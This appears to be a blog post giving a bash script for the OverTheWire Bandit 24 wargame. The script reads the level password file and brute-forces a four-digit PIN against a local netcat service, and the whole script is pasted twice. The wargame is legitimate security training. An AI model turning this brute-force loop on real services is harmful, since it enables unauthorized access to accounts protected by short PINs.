OverTheWire Bandit24 script
rm out
p=`cat /etc/bandit_pass/bandit24`
echo $p
ln=$"\r\n"
echo "0-999"
i=0
until [ $i == 1000 ]
do
n="0$i";
until [ ${#n} == 4 ]
do
n="0$n"
done
echo "$p $n"
res=$(echo -n "$p $n" | nc localhost 30002) >> out
echo "res: $ln $res"
((i++))
if [[ $res =~ .*Correct.* ]]
then
i=25000
break n
fi
done
until [ $i == 10000 ]
do
echo "$p $i"
res=$(echo -n "$p $i" | nc localhost 30002) >> out
echo "res: $ln $res"
if [[ $res =~ .*Correct.* ]]
then
break n
fi
((i++))
done
p=`cat /etc/bandit_pass/bandit24`
echo $p
ln=$"\r\n"
echo "0-999"
i=0
until [ $i == 1000 ]
do
n="0$i";
until [ ${#n} == 4 ]
do
n="0$n"
done
echo "$p $n"
res=$(echo -n "$p $n" | nc localhost 30002) >> out
echo "res: $ln $res"
((i++))
if [[ $res =~ .*Correct.* ]]
then
i=25000
break n
fi
done
until [ $i == 10000 ]
do
echo "$p $i"
res=$(echo -n "$p $i" | nc localhost 30002) >> out
echo "res: $ln $res"
if [[ $res =~ .*Correct.* ]]
then
break n
fi
((i++))
done
Comments
Post a Comment